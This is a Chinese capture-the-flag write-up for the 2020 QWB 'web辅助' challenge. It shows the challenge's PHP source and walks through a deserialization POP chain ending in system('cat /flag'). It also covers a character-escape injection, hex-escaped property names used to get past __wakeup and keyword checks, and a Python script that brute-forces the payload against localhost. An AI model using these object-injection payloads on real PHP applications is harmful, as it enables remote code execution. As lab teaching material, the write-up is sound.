强网杯2020-web辅助Write Up

考点

  • PHP反序列化
  • 字符逃逸

源码内有四个php文件,分别为如下所示

  • class.php 类文件
  • common.php 公共函数文件
  • index.php 序列化入口
  • play.php. 反序列化入口
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    35
    36
    37
    38
    39
    40
    41
    42
    43
    44
    45
    46
    47
    48
    49
    50
    51
    52
    53
    54
    55
    56
    57
    58
    59
    60
    61
    62
    63
    64
    65
    66
    67
    68
    69
    70
    71
    // class.php
    <?php
    class player{
    protected $user;
    protected $pass;
    protected $admin;
    public function __construct($user, $pass, $admin = 0){
    $this->user = $user;
    $this->pass = $pass;
    $this->admin = $admin;
    }
    public function get_admin(){
    return $this->admin;
    }
    }

    class topsolo{
    protected $name;
    public function __construct($name = 'Riven'){
    $this->name = $name;
    }
    public function TP(){
    if (gettype($this->name) === "function" or gettype($this->name) === "object"){
    $name = $this->name;
    $name();
    }
    }
    public function __destruct(){
    $this->TP();
    }
    }

    class midsolo{
    protected $name;
    public function __construct($name){
    $this->name = $name;
    }
    public function __wakeup(){
    if ($this->name !== 'Yasuo'){
    $this->name = 'Yasuo';
    echo "No Yasuo! No Soul!\n";
    }
    }
    public function __invoke(){
    $this->Gank();
    }
    public function Gank(){
    if (stristr($this->name, 'Yasuo')){
    echo "Are you orphan?\n";
    }
    else{
    echo "Must Be Yasuo!\n";
    }
    }
    }

    class jungle{
    protected $name = "";
    public function __construct($name = "Lee Sin"){
    $this->name = $name;
    }
    public function KS(){
    system("cat /flag");
    }
    public function __toString(){
    $this->KS();
    return "";
    }

    }
    ?>
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    // common.php
    <?php
    function read($data){
    $data = str_replace('\0*\0', chr(0)."*".chr(0), $data);
    return $data;
    }
    function write($data){
    $data = str_replace(chr(0)."*".chr(0), '\0*\0', $data);
    return $data;
    }
    function check($data)
    {
    if(stristr($data, 'name')!==False){
    die("Name Pass\n");
    }
    else{
    return $data;
    }
    }
    ?>
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    // index.php
    <?php
    @error_reporting(0);
    require_once "common.php";
    require_once "class.php";
    if (isset($_GET['username']) && isset($_GET['password'])){
    $username = $_GET['username'];
    $password = $_GET['password'];
    $player = new player($username, $password);
    file_put_contents("caches/".md5($_SERVER['REMOTE_ADDR']), write(serialize($player)));
    echo sprintf('Welcome %s, your ip is %s\n', $username, $_SERVER['REMOTE_ADDR']);
    }
    else{
    echo "Please input the username or password!\n";
    }
    ?>
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    // play.php
    <?php
    @error_reporting(0);
    require_once "common.php";
    require_once "class.php";
    @$player = unserialize(read(check(file_get_contents("caches/".md5($_SERVER['REMOTE_ADDR'])))));
    print_r($player);
    if ($player->get_admin() === 1){
    echo "FPX Champion\n";
    }
    else{
    echo "The Shy unstoppable\n";
    }
    ?>

    解题思路

要想获得flag必须通过jungle类的KS方法来执行读取flag文件的命令,在反序列化时可无条件触发的两个条件为析构方法和wakeup魔术方法。在topsolo类中的destruct方法会执行该类的TP方法,TP方法将name成员属性复制给name变量后动态调用。此时可以构造name属性为midsolo类,当TP方法动态调用midsolo类时会触发该类的invoke方法然后执行该类的Gank方法,Gank方法使用stristr函数查找name属性中是否包含Yasuo字符串,当我们令name属性为jungle类时则会触发toString,此方法又调用了KS方法。在KS方法中会调用system函数执行读取flag文件命令。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
// Poc
<?php

class midsolo {
protected $name;

public function __construct() {
$this->name = new jungle;
}
}

class jungle {
protected $name;

public function __construct() {
$this->name = 'Lee Sin';
}
}

class topsolo {
protected $name;

public function __construct() {
$this->name = new midsolo;
}
}

echo serialize(new topsolo);

在index.php序列化入口文件中,判断get请求是否有username和password参数并赋值给对应变量,接着实例化player类username和password变量作为参数传递,然后实例化player类经过write函数后再写入文件,play文件中会先将序列化的内容经过read函数后再反序列化,但序列化的内容在经过read函数的字符替换后会导致属性长度与真实内容长度不符而反序列化失败。

题解

在username处注入过滤字符,password处注入序列化字符使pass属性为我们的poc内容
Poc:O:7:”topsolo”:1:{s:7:”*name”;O:7:”midsolo”:1:{s:7:”*name”;O:6:”jungle”:1:{s:7:”*name”;s:7:”Lee Sin”;}}}
修改midsolo类属性个数和name属性为16进制以绕过wakeup和check函数
O:7:”topsolo”:1:{S:7:”*nam\65”;O:7:”midsolo”:2:{S:7:”*nam\65”;O:6:”jungle”:1:{S:7:”*nam\65”;s:7:”Lee Sin”;}}}
password处注入payload时还需要先闭合前面属性以及添加admin属性

username需要注入多少过滤字符可以fuzz一下,当然应该还有其他的方法,如果有师傅知晓的话还望不吝赐教。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
import requests

def main():
zifu = '%5C0%2A%5C0'
password = 'A%22%3Bs%3A7%3A%22%5C0%2A%5C0pass%22%3BO%3A7%3A%22topsolo%22%3A1%3A%7BS%3A7%3A%22%5C0%2A%5C0nam%5C65%22%3BO%3A7%3A%22midsolo%22%3A2%3A%7BS%3A7%3A%22%5C0%2A%5C0nam%5C65%22%3BO%3A6%3A%22jungle%22%3A1%3A%7BS%3A7%3A%22%5C0%2A%5C0nam%5C65%22%3Bs%3A7%3A%22Lee+Sin%22%3B%7D%7D%7D%22%3Bs%3A8%3A%22%5C0%2A%5C0admin%22%3Bi%3A0%3B%7D'
for i in range(1, 100):
req = requests.get(f'http://127.0.0.1/web%E8%BE%85%E5%8A%A9/?username={zifu * i}&password={password}')
res = requests.get('http://127.0.0.1/web%E8%BE%85%E5%8A%A9/play.php')
if 'flag' in res.text:
break


if __name__ == '__main__':
main()

跑完脚本后访问一下play.php即可